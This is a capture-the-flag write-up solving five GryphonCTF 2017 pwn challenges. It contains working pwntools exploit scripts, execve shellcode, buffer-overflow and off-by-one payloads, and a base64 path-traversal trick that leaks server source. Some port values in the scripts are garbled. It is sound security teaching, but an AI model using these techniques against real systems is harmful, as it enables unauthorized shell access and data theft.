Table of Contents
Here are my analysis and solutions for some of the pwnable challenges.
NoobPwn
Problem
Description:
Getting tired of pwn? How about an easier one?
nc pwn2.chal.gryphonctf.com 17346
Source code of noobpwn.c
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
/**
* Created for the GryphonCTF 2017 challenges
* By Amos (LFlare) Ng <amosng1@gmail.com>
**/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc){
// Create buffer
char buf[32] = {0x00};
int key = 0x00;
// Disable output buffering
setbuf(stdout, NULL);
// Get key?
printf("Key? ");
scanf("%d", &key);
// Create file descriptor
int fd = key - 0x31337;
int len = read(fd, buf, 32);
// Check if we have a winner
if (!strcmp("GIMMEDAFLAG\n", buf)) {
system("/bin/cat flag.txt");
exit(0);
}
// Return sadface
return 1;
}
Analysis
The important section of the code is as follows:
scanf("%d", &key); // user input
// Create file descriptor
int fd = key - 0x31337; // compute file descriptor number
int len = read(fd, buf, 32); // here, we want to read from stdin
// Check if we have a winner
if (!strcmp("GIMMEDAFLAG\n", buf)) { // string comparison of our input with static string
system("/bin/cat flag.txt"); // get flag!
exit(0);
}
We want to ensure that read()
reads from standard input (fd = 0
) so that the program can receive user input. To do this, we simply set key = 0x31337
and send it over in its decimal representative (not hex representative!).
After that, we send "GIMMEDAFLAG\n"
to ensure that !strcmp("GIMMEDAFLAG\n", buf)
evaluates to true
and end up calling system("/bin/cat flag.txt")
.
Solution
Source code of exploit.py
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/env python
from pwn import *
context(arch = 'i386', os = 'linux')
HOST = 'pwn2.chal.gryphonctf.com'
PORT = 17346
key = 0x31337 # fd = 0x31337 - 0x31337 => 0
static_str = 'GIMMEDAFLAG'
def main():
r = remote(HOST, PORT)
r.sendlineafter('Key? ', str(key))
r.sendline(static_str)
print(r.recvall())
if __name__ == '__main__':
main()
Execution of the exploit script:
$ python exploit.py
[+] Opening connection to pwn2.chal.gryphonctf.com on port 17346: Done
[+] Receiving all data: Done (33B)
[*] Closed connection to pwn2.chal.gryphonctf.com port 17346
GCTF{f1l3_d35cr1p70r5_4r3_n457y}
Flag: GCTF{f1l3_d35cr1p70r5_4r3_n457y}
PseudoShell
Problem
Description:
I managed to hook on to a shady agency’s server, can you help me secure it?
nc pwn2.chal.gryphonctf.com 17341
Source code of pseudoshell.c
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
/**
* Created for the GryphonCTF 2017 challenges
* By Amos (LFlare) Ng <amosng1@gmail.com>
**/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int login() {
// Declare login variables
int access = 0xff;
char password[16];
// Get password
puts("Warning: Permanently added 'backend.cia.gov,96.17.215.26' (ECDSA) to the list of known hosts.");
printf("root@backend.cia.gov's password: ");
// Add one more to fgets for null byte
fgets(password, 17, stdin);
return access;
}
int main() {
// Disable output buffering
setbuf(stdout, NULL);
// Declare main variables
char input[8];
// Send canned greeting
puts("The authenticity of host 'backend.cia.gov (96.17.215.26)' can't be established.");
puts("ECDSA key fingerprint is SHA256:1loFo62WjwvamuIcfhqo4O2PNdltJgSJ7fB3GpKLm4o.");
printf("Are you sure you want to continue connecting (yes/no)? ");
// Add one more to fgets for null byte
fgets(input, 9, stdin);
// Log user in
int access = login();
// Check privileges
if (access >= 0xff || access < 0) {
puts("INVALID ACCOUNT ACCESS LEVEL!");
} else if (access <= 0x20) {
puts("SUCCESSFULLY LOGGED IN AS ADMIN!");
system("/bin/sh");
} else {
puts("SUCCESSFULLY LOGGED IN AS USER!");
puts("ERROR: YOU HAVE BEEN FIRED!");
exit(1);
}
}
Analysis
There is an obvious off-by-one write vulnerability in both login()
and main()
:
int login() {
// Declare login variables
int access = 0xff;
char input[8];
...
// Add one more to fgets for null byte
fgets(input, 9, stdin);
...
}
int main() {
...
// Declare main variables
char input[8];
...
// Add one more to fgets for null byte
fgets(input, 9, stdin);
}
Our goal is to make access <= 0x20
so that we can get shell and read the flag file:
// Log user in
int access = login();
// Check privileges
...
else if (access <= 0x20) {
puts("SUCCESSFULLY LOGGED IN AS ADMIN!");
system("/bin/sh");
}
Notice that in login()
, int access = 0xff;
is placed directly before char input[8];
.
Since the binary uses little-endian, access
is stored as \x00\x00\x00\xff
in memory.
As such, the off-by-one write causes the last byte of user input to overflow and overwrite the least significant byte of int access
.
To get the shell, we can simply send 16
characters to fill the password
and any character with decimal value <= 0x20
.
Solution
Source code of exploit.py
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/env python
from pwn import *
context(arch = 'i386', os = 'linux')
HOST = 'pwn2.chal.gryphonctf.com'
PORT = 17341
padding = "A" * 16
access = chr(0x20)
payload = padding + access
def main():
r = remote(HOST, PORT)
r.sendlineafter('(yes/no)? ', '')
r.sendlineafter('password: ', payload)
r.interactive()
if __name__ == '__main__':
main()
Execution of the exploit script:
$ python exploit.py
[+] Opening connection to pwn2.chal.gryphonctf.com on port 17341: Done
[*] Switching to interactive mode
SUCCESSFULLY LOGGED IN AS ADMIN!
$ ls -al
total 32
drwxr-xr-x 1 root root 4096 Oct 4 13:22 .
drwxr-xr-x 1 root root 4096 Oct 4 13:16 ..
-rw-r--r-- 1 root root 220 Oct 4 13:16 .bash_logout
-rw-r--r-- 1 root root 3771 Oct 4 13:16 .bashrc
-rw-r--r-- 1 root root 655 Oct 4 13:16 .profile
-r--r----- 1 root pseudoshell 30 Sep 30 17:57 flag.txt
-rwxr-sr-x 1 root pseudoshell 7628 Sep 30 17:57 pseudoshell
$ cat flag.txt
GCTF{0ff_by_0n3_r34lly_5uck5}
Flag: GCTF{0ff_by_0n3_r34lly_5uck5}
FileShare
Problem
Description:
I created this service where you can leave files for other people to view!
I have been getting good reviews..what do you think about it?
nc pwn1.chal.gryphonctf.com 17342
This is a remote-only challenge.
Analysis
Let’s netcat in to understand more about the service.
$ nc pwn1.chal.gryphonctf.com 17342
`ohmmmmmmmmmmmmmmmmmh:
-NMMhyyyyyyyyyyyyyyNMMMd:
sMMo mMMNMMd:
sMMo mMM-+mMMd:
sMMo mMM/.-sMMMd:
sMMo mMMMMMMMMMMMo
sMMo :////////yMMs
sMMo oMMs
sMMo oMMs
sMMo oMMs
sMMo oMMs
sMMo oMMs
sMMo oMMs
oMMs oMMs
oMMs oMMs
sMMo oMMs
sMMo oMMs
sMMo oMMs
sMMo oMMs
-NMMhyyyyyyyyyyyyyyyyyyyyyyhMMN-
`ohmmmmmmmmmmmmmmmmmmmmmmmmho`
YOU ARE ZE NO.58875 USER
WELCOME TO THE GREATEST FILE SHARING SERVICE IN ALL OF ZE WORLD!
a) CREATE FILE
b) VIEW FILE
YOUR INPUT => b
YOU HAVE CHOSEN TO VIEW FILE
PLEASE INPUT KEY! => ABCDE
Traceback (most recent call last):
File "/home/fileshare/FS.py", line 29, in gets
kkkk=base64.b64decode(filename).decode()
File "/usr/lib/python3.5/base64.py", line 88, in b64decode
return binascii.a2b_base64(s)
binascii.Error: Incorrect padding
Wrong key, no such file
GOODBYE!
Interesting! Upon reading an invalid filename (non-Base64 encoded), the stack trace is dumped.
From the stack trace, we can see the filename of the service /home/fileshare/FS.py
is being leaked.
Let’s try creating a file and reading it to see if it works as expected:
$ nc pwn1.chal.gryphonctf.com 17342
...
YOUR INPUT => a
YOU HAVE CHOSEN TO MAKE FILE!
PLEASE INPUT NAME!(3-5 CHARAS ONLY) => AAAAA
PLEASE INPUT MESSAGE => BBBBBBBBBBBBBBBBBBBB
FILES CREATED! HERE IS YOUR KEY WydmaWxlcy9RR1YnLCAnQUFBQUEnXQ==
GOODBYE!
$ nc pwn1.chal.gryphonctf.com 17342
YOUR INPUT => b
YOU HAVE CHOSEN TO VIEW FILE
PLEASE INPUT KEY! => WydmaWxlcy9RR1YnLCAnQUFBQUEnXQ==
~~~~~~~~~~~~~~~~~~~~~~~~
FILE FROM: AAAAA
FILE CONTENTS:
BBBBBBBBBBBBBBBBBBBB
…and the program works as advertised.
Let’s take a closer look at the Base64 key generated by the server:
$ echo "WydmaWxlcy9RR1YnLCAnQUFBQUEnXQ==" | base64 --decode
['files/QGV', 'AAAAA']
This suggests that perhaps it is reading from ./files/QGV
. What if we trick the service to read FS.py
(the python script for the service) instead?
$ echo "['./FS.py', 'AAAAA']" | base64
WycuL0ZTLnB5JywgJ0FBQUFBJ10K
$ nc pwn1.chal.gryphonctf.com 17342
...
YOUR INPUT => b
YOU HAVE CHOSEN TO VIEW FILE
PLEASE INPUT KEY! => WycuL0ZTLnB5JywgJ0FBQUFBJ10K
~~~~~~~~~~~~~~~~~~~~~~~~
FILE FROM: AAAAA
FILE CONTENTS:
#!/usr/bin/env python3
import base64
import ast
from datetime import datetime
import time
import os
import socket
import threading
import random
import traceback
def check(stri):
k=0
for i in stri:
k=k+ord(i)
return k
def filename():
return ''.join(random.choice("QWERTYUIOPASDFGHJKLZXCVBNM") for i in range(3))
def create(line,nam,c):
k="/home/fileshare/"
name="files/"+filename()
f=open(k+name,"w")
print(line,file=f)
n=[name,nam]
k=str(n)
return base64.b64encode(k.encode()).decode()
def gets(filename,c):
kul="/home/fileshare/"
try:
kkkk=base64.b64decode(filename).decode()
l=ast.literal_eval(kkkk)
if len(l)==2 and len(l[1])>=3:
c.sendall("~~~~~~~~~~~~~~~~~~~~~~~~\n\nFILE FROM: {}\nFILE CONTENTS: \n\n".format(l[1]).encode())
f=open(kul+l[0],"r")
jj=f.readlines()
for i in jj:
z=i
c.sendall(z.encode())
c.sendall("\n\n~~~~~~~~~~~~~~~~~~~~~~~~\n\n".encode())
else:
c.sendall("INVALID KEY!\n".encode())
except Exception as e:
error=traceback.format_exc()
c.sendall(error.encode())
z="Wrong key, no such file\n"
c.sendall(z.encode())
def start(c,a,user):
kkk="QQTLBFVLZFCJHABTKQWYYTBLTLNENP"
try:
c.sendall('''
`ohmmmmmmmmmmmmmmmmmh:
-NMMhyyyyyyyyyyyyyyNMMMd:
sMMo mMMNMMd:
sMMo mMM-+mMMd:
sMMo mMM/.-sMMMd:
sMMo mMMMMMMMMMMMo
sMMo :////////yMMs
sMMo oMMs
sMMo oMMs
sMMo oMMs
sMMo oMMs
sMMo oMMs
sMMo oMMs
oMMs oMMs
oMMs oMMs
sMMo oMMs
sMMo oMMs
sMMo oMMs
sMMo oMMs
-NMMhyyyyyyyyyyyyyyyyyyyyyyhMMN-
`ohmmmmmmmmmmmmmmmmmmmmmmmmho`
YOU ARE ZE NO.{} USER
WELCOME TO THE GREATEST FILE SHARING SERVICE IN ALL OF ZE WORLD!
a) CREATE FILE
b) VIEW FILE
YOUR INPUT => '''.format(user).encode())
c.settimeout(2*60)
r=c.recv(100).decode().strip()
if r=="a":
c.sendall("YOU HAVE CHOSEN TO MAKE FILE!\nPLEASE INPUT NAME!(3-5 CHARAS ONLY) => ".encode())
c.settimeout(60*2)
nam=c.recv(135).decode().strip()
c.sendall("PLEASE INPUT MESSAGE => ".encode())
lll=c.recv(125).decode().strip()
print(len(nam))
print(len(lll))
if len(lll)>130 or (len(nam)<3 or len(nam)>5):
c.sendall("sorry invalid input :(\n".encode())
c.sendall("GOODBYE!\n".encode())
c.close()
else:
key=create(lll,nam,c)
z="FILES CREATED! HERE IS YOUR KEY "+key
c.sendall(z.encode())
c.sendall("\nGOODBYE!\n".encode())
c.close()
elif r=="b":
c.sendall("YOU HAVE CHOSEN TO VIEW FILE\nPLEASE INPUT KEY! => ".encode())
c.settimeout(60*2)
lll=c.recv(100).decode().strip()
if(len(lll)>33):
c.sendall("KEY TOO LONG, INVALID\nGOODBYE\n".encode())
c.close()
else:
gets(lll,c)
c.sendall("GOODBYE!\n".encode())
c.close()
elif r==kkk:
f=open("/home/fileshare/flag/thisisalongnameforadirectoryforareasonflag.txt","r")
k=f.readline()
z="HELLO ADMINISTRATOR!\n~~~WELCOME TO THE ADMIN PORTAL~~~\n a) LIST ALL FILES\n b) PRINT FLAG\nYOUR INPUT => "
c.sendall(z.encode())
c.settimeout(60*2)
h=c.recv(3).decode().strip()
if h=="a":
k=os.listdir("/home/fileshare/files/")
for i in k:
i="- "+i+"\n"
c.sendall(i.encode())
c.sendall("GOODBYE\n".encode())
elif h=="b":
c.sendall("PASSWORD PLS ! =>".encode())
c.settimeout(60*2)
z=c.recv(10).decode().strip()
if int(z)==check("REALADMIN"):
c.sendall("HERES THE FLAG!\n".encode())
c.sendall(k.encode())
else:
c.sendall("YOU ARE NOT REAL ADMIN! BYE\n".encode())
else:
c.sendall("INVALID!\nGOODBYE!\n".encode());
c.close()
else:
c.sendall("invalid input!\n".encode())
c.close()
except Exception as e:
error=traceback.format_exc()
c.sendall(error.encode())
c.close()
socket=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
socket.bind(('0.0.0.0',49760))
print(socket)
socket.listen(5)
user=0
while True:
c,a=socket.accept()
user=user+1
t=threading.Thread(target=start,args=(c,a,user))
t.start()
socket.close()
Wow! That actually worked, and now we have successfully leaked the source code of the service. Let’s focus on the notable portions of the code:
kkk="QQTLBFVLZFCJHABTKQWYYTBLTLNENP"
try:
...
if r=="a":
...
elif r=="b":
...
lll=c.recv(100).decode().strip()
if(len(lll)>33):
c.sendall("KEY TOO LONG, INVALID\nGOODBYE\n".encode())
c.close()
else:
gets(lll,c)
...
elif r==kkk:
f=open("/home/fileshare/flag/thisisalongnameforadirectoryforareasonflag.txt","r")
...
h=c.recv(3).decode().strip()
if h=="a":
...
elif h=="b":
c.sendall("PASSWORD PLS ! =>".encode())
c.settimeout(60*2)
z=c.recv(10).decode().strip()
if int(z)==check("REALADMIN"):
c.sendall("HERES THE FLAG!\n".encode())
c.sendall(k.encode())
It seems that there is a hidden menu activated by entering QQTLBFVLZFCJHABTKQWYYTBLTLNENP
, followed by b
, and finally an input z
containing an integer matching the value of check("REALADMIN")
. Finally, if all the above checks are successful, the flag is printed using c.sendall(k.encode())
.
Solution
First, we compute the integer value returned by check("REALADMIN")
:
$ python
>>> def check(stri):
... k=0
... for i in stri:
... k=k+ord(i)
... return k
...
>>> check("REALADMIN")
653
Now, we can simply trigger the hidden menu and get the flag:
$ nc pwn1.chal.gryphonctf.com 17342
...
YOUR INPUT => QQTLBFVLZFCJHABTKQWYYTBLTLNENP
HELLO ADMINISTRATOR!
~~~WELCOME TO THE ADMIN PORTAL~~~
a) LIST ALL FILES
b) PRINT FLAG
YOUR INPUT => b
PASSWORD PLS ! => 653
HERES THE FLAG!
GCTF{in53cur3_fi13_tr4n5f3r}
Pitfalls
It’s important to also note that we cannot forge the key to read from the flag, as the filepath is too long as len('flag/thisisalongnameforadirectoryforareasonflag.txt') > 33
is true, so the filepath to the flag will be rejected by the service:
if(len(lll)>33):
c.sendall("KEY TOO LONG, INVALID\nGOODBYE\n".encode())
c.close()
else:
gets(lll,c)
...
Flag: GCTF{in53cur3_fi13_tr4n5f3r}
Tsundeflow
Problem
Description:
This one is a handful.
pwn2.chal.gryphonctf.com 17343
Source code of tsundeflow.c
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
/**
* Created for the GryphonCTF 2017 challenges
* By Amos (LFlare) Ng <amosng1@gmail.com>
**/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int win() {
puts("B-baka! It's not like I like you or anything!");
system("/bin/sh");
}
int main() {
// Disable output buffering
setbuf(stdout, NULL);
// Declare main variables
char input[32];
// User preface
puts("I check input length now! Your attacks have no effect on me anymore!!!");
printf("Your response? ");
// Read user input
scanf("%s", input);
// "Check" for buffer overflow
if (strlen(input) > 32) {
exit(1);
}
}
Analysis
Notice that scanf("%s", input);
is being used, and there is a strlen(input) > 32
check for input.
Using the %s
format specifier does not limit the number of characters to be read into the variable, so we can write more than 32 bytes into input and overflow and replace the stored return address.
To pass the strlen
check, we can exploit yet another property of scanf("%s")
– it does not stop when reading a null byte, but instead, stops at spaces! In other words, we can send an input that has <= 32
bytes of padding, followed by a null byte, more padding and finally the address of win()
.
To calculate the number of padding bytes needed to reach the stored return address from input
, we can use gdb with GEF:
$ gdb ./tsundeflow-redacted-fb0908a3d9a30c4029acfdfd5bdbe313
gef➤ pattern create 100
[+] Generating a pattern of 100 bytes
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
gef➤ pattern create 100
gef➤ r < <(python -c 'print "A"*31 + "\x00" + "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa"')
Starting program: ./tsundeflow-redacted-fb0908a3d9a30c4029acfdfd5bdbe313 < <(python -c 'print "A"*31 + "\x00" + "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa"')
I check input length now! Your attacks have no effect on me anymore!!!
Your response?
Program received signal SIGSEGV, Segmentation fault.
0x61616261 in ?? ()
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ registers ]────
$eax : 0x00000000
$ebx : 0x00000000
$ecx : 0x00000018
$edx : 0x00000008
$esp : 0xffffd480 → "acaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaao[...]"
$ebp : 0x61616100
$esi : 0xf7fb1000 → 0x001b1db0
$edi : 0xf7fb1000 → 0x001b1db0
$eip : 0x61616261 ("abaa"?)
$cs : 0x00000023
$ss : 0x0000002b
$ds : 0x0000002b
$es : 0x0000002b
$fs : 0x00000000
$gs : 0x00000063
$eflags: [carry PARITY adjust ZERO sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ stack ]────
0xffffd480│+0x00: "acaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaao[...]" ← $esp
0xffffd484│+0x04: "adaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaap[...]"
0xffffd488│+0x08: "aeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaq[...]"
0xffffd48c│+0x0c: "afaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaar[...]"
0xffffd490│+0x10: "agaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaas[...]"
0xffffd494│+0x14: "ahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaat[...]"
0xffffd498│+0x18: "aiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaau[...]"
0xffffd49c│+0x1c: "ajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaav[...]"
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ code:i386 ]────
[!] Cannot disassemble from $PC
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ threads ]────
[#0] Id 1, Name: "tsundeflow-reda", stopped, reason: SIGSEGV
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]────
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤ pattern search 0x61616261
[+] Searching '0x61616261'
[+] Found at offset 4 (little-endian search) likely
[+] Found at offset 1 (big-endian search)
From above, we can see that the stored return address is at 4 bytes offset from input[32]
.
gef➤ x/i win
0x804857b <win>: push ebp
Solution
Source code of exploit.py
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/env python
from pwn import *
context(arch = 'i386', os = 'linux')
HOST = 'pwn2.chal.gryphonctf.com'
PORT = 1734117343
input = 'A' * 31 + '\x00'
padding = 'B' * 4
ret2win = p32(0x804857b)
payload = input + padding + ret2win
def main():
r = remote(HOST, PORT)
r.sendafter('Your response? ', payload)
r.interactive()
if __name__ == '__main__':
main()
Execution of the exploit script:
$ python exploit.py
[+] Opening connection to pwn2.chal.gryphonctf.com on port 17343: Done
[*] Switching to interactive mode
B-baka! It's not like I like you or anything!
$ ls -al
total 32
drwxr-xr-x 1 root root 4096 Oct 4 13:24 .
drwxr-xr-x 1 root root 4096 Oct 4 13:16 ..
-rw-r--r-- 1 root root 220 Oct 4 13:16 .bash_logout
-rw-r--r-- 1 root root 3771 Oct 4 13:16 .bashrc
-rw-r--r-- 1 root root 655 Oct 4 13:16 .profile
-r--r----- 1 root tsundeflow 43 Sep 30 17:57 flag.txt
-rwxr-sr-x 1 root tsundeflow 7636 Sep 30 17:57 tsundeflow
$ cat flag.txt
GCTF{51mpl3_buff3r_0v3rfl0w_f0r_75und3r35}
Flag: GCTF{51mpl3_buff3r_0v3rfl0w_f0r_75und3r35}
ShellMethod
Problem
Description:
I’ve taken the previous challenge, tossed away the personality and replaced it with a stone cold robot AI.
nc pwn2.chal.gryphonctf.com 17344
Source code of shellmethod.c
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
/**
* Created for the GryphonCTF 2017 challenges
* By Amos (LFlare) Ng <amosng1@gmail.com>
**/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int vuln() {
// Declare main variables
char command[64];
// Get user's input
puts("PLEASE STATE YOUR COMMAND.");
printf("Your response? ");
gets(command);
}
int main() {
// Disable output buffering
setbuf(stdout, NULL);
// Greet and meet
puts("HELLO. I AM SMARTBOT ALPHA 0.1.0.");
vuln();
// Deny user wishes immediately.
puts("YOUR WISHES ARE DENIED.");
}
Analysis
An obvious unbounded reading of input via gets()
function should be spotted from the above code.
Notice that the file does not come with any system("/bin/cat flag.txt")
or system("/bin/sh")
calls.
Let’s examine the security features that the executable has enabled before continuing:
$ checksec --file shellmethod-redacted-c6b75effab2d83da5a5a2d394a8d5c83
RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX disabled No PIE No RPATH No RUNPATH No 0 4 shellmethod-redacted-c6b75effab2d83da5a5a2d394a8d5c83
Great! No-eXecute (NX) bit is disabled, so we can easily gain arbitrary code execution by returning to our shellcode stored on the stack (if ASLR is disabled on the server)!
Let’s disassemble the vuln()
function in gdb:
$ gdb ./shellmethod-redacted-c6b75effab2d83da5a5a2d394a8d5c83
gef➤ disassemble vuln
Dump of assembler code for function vuln:
0x080484cb <+0>: push ebp
0x080484cc <+1>: mov ebp,esp
0x080484ce <+3>: sub esp,0x40
0x080484d1 <+6>: push 0x80485c0
0x080484d6 <+11>: call 0x80483a0 <puts@plt>
0x080484db <+16>: add esp,0x4
0x080484de <+19>: push 0x80485db
0x080484e3 <+24>: call 0x8048380 <printf@plt>
0x080484e8 <+29>: add esp,0x4
0x080484eb <+32>: lea eax,[ebp-0x40]
0x080484ee <+35>: push eax
0x080484ef <+36>: call 0x8048390 <gets@plt>
0x080484f4 <+41>: add esp,0x4
0x080484f7 <+44>: nop
0x080484f8 <+45>: leave
0x080484f9 <+46>: ret
End of assembler dump.
We see that the memory address location of stack variable command[64]
is loaded into $eax
at 0x080484eb <+32>
. This means that $eax
points to the start of command[64]
, which is our input!
Now, we just need to find a call eax
or jmp eax
instruction in the executable and insert an appropriate shellcode to do execve('/bin/sh')
. Luckily for us, call eax
instruction exists in the deregister_tm_clones()
!
Solution
Source code of exploit.py
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/env python
from pwn import *
context(arch = 'i386', os = 'linux')
HOST = 'pwn2.chal.gryphonctf.com'
PORT = 1734117343
# execve('/bin/sh') shellcode
shellcode = ''.join([
asm('xor ecx, ecx'), # make ecx 0
asm('mul ecx'), # make eax = 0 too
asm('push ecx'), # push null byte to terminate '/bin//sh' str
asm('push ' + str(u32('//sh'))), # push //sh
asm('push ' + str(u32('/bin'))), # push /bin
asm('mov ebx, esp'), # set ebx to point to '/bin//sh\x00' using esp
asm('mov al, 11'), # set eax = 11 (syscall number for execve)
asm('int 0x80') # invoke interrupt
])
# [ shellcode || padding || stored eip ]
offset_to_stored_eip = 64 + 4
ret2shellcode = p32(0x08048433)
payload = shellcode.ljust(offset_to_stored_eip, 'A') + ret2shellcode
def main():
r = remote(HOST, PORT)
r.sendline(payload)
r.interactive()
if __name__ == '__main__':
main()
Execution of the exploit script:
$ python shellmethod-pwn.py
[+] Opening connection to pwn2.chal.gryphonctf.com on port 17344: Done
[*] Switching to interactive mode
HELLO. I AM SMARTBOT ALPHA 0.1.0.
PLEASE STATE YOUR COMMAND.
Your response?
$ ls -al
total 32
drwxr-xr-x 1 root root 4096 Oct 4 13:24 .
drwxr-xr-x 1 root root 4096 Oct 4 13:16 ..
-rw-r--r-- 1 root root 220 Oct 4 13:16 .bash_logout
-rw-r--r-- 1 root root 3771 Oct 4 13:16 .bashrc
-rw-r--r-- 1 root root 655 Oct 4 13:16 .profile
-r--r----- 1 root shellmethod 35 Sep 30 17:57 flag.txt
-rwxr-sr-x 1 root shellmethod 7516 Sep 30 17:57 shellmethod
$ cat flag.txt
GCTF{5h3llc0d35_4r3_ju57_4553mbly}
Flag: GCTF{5h3llc0d35_4r3_ju57_4553mbly}